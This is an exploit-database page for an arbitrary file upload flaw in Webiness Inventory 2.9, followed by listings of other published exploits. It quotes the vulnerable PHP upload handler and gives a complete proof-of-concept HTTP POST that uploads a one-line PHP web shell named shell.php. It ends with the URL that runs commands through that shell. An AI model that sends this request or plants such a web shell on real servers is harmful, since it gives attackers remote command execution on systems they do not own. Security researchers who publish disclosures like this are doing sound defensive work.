Menu

Search for hundreds of thousands of exploits

"Webiness Inventory 2.9 - Arbitrary File Upload"

Author

Exploit author

"Boumediene KADDOUR"

Platform

Exploit platform

php

Release date

Exploit published date

2018-10-30

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# Exploit Title:  Webiness Inventory 2.9 - Arbitrary File Upload
# Date: 2018-10-27
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Software Link: https://github.com/webiness/webiness_inventory
# Version: 2.9<
# Tested on: WAMP windows 10 x64
# CVE: unknown

# Vulnerable Code: https://github.com/webiness/webiness_inventory/blob/master/protected/library/ajax/WsSaveToModel.php

46 foreach ($_FILES as $file) {
47    $fileName = $file['name'];
48    $fileTmp = $file['tmp_name'];
49    $destDir = WsROOT.'/runtime/'.$model;
50
51    $field = key($_FILES);
52
53    // files are upload to "runtime" directory create destination directory
54    // if not exist
55    if (!file_exists($destDir)) {
56        mkdir($destDir, 0777, true);
57    }
58
59    // allowed file size is 3MB
60    if ($file['size'] > 3145728) {
61        continue;
62    }
63
64   // remove old file with same name
65    if (file_exists($destDir.'/'.$fileName)) {
66        unlink($destDir.'/'.$fileName);
67    }
68
69    // upload file
70    move_uploaded_file($fileTmp, $destDir.'/'.$fileName);
71    $m->$field= $fileName;
72 }

# Proof Of Concept

POST /webiness_inventory-2.3/protected/library/ajax/WsSaveToModel.php HTTP/1.1
Host: 172.16.122.4
Content-Length: 1838
Accept: */*
Origin: http://172.16.122.4
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUOOyIF2f26nDrsM7
Referer: http://172.16.122.4/webiness_inventory-2.3/index.php?request=partners/index/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: resolve_ids=0; order_dir_list_by=1A; _csrf=b49cff27d7c0ccd3a8dd5af3813025249dc909f2a20c12efcb7770f945715b06a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%224dWxR4kKmI-ZSWJBsigl0tHhdecVhozc%22%3B%7D; language=32d49278f28c78229de164fe79dc13b6adb3c98af2d133240eb1ffc44771ad3da%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22en%22%3B%7D; PHPSESSID=h66id6epvp8g1uoshrdog53323
Connection: close

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="model_name"

PartnerModel
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="id"

2
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="partner_name"

My crucial Partner
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="logo"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']);?>
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="id_number"

25
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="tax_number"

225588664477
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="iban"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="address1"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="address2"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="region_state"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="zip"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="city"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="country"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="email"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="web"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="phone_number"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name=""

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name=""

------WebKitFormBoundaryUOOyIF2f26nDrsM7--

# Access your webshell via the below link
http://172.16.122.4/webiness_inventory-2.3/runtime/PartnerModel/shell.php?cmd=whoami
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2018-10-30 "phptpoint Pharmacy Management System 1.0 - 'username' SQL Injection" webapps php "Boumediene KADDOUR"
2018-10-30 "Webiness Inventory 2.9 - Arbitrary File Upload" webapps php "Boumediene KADDOUR"
2018-10-25 "phptpoint Hospital Management System 1.0 - 'user' SQL injection" webapps php "Boumediene KADDOUR"
2018-10-25 "phptpoint Pharmacy Management System 1.0 - 'username' SQL injection" webapps php "Boumediene KADDOUR"
2017-11-15 "CommuniGatePro 6.1.16 - Cross-Site Scripting" webapps multiple "Boumediene KADDOUR"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.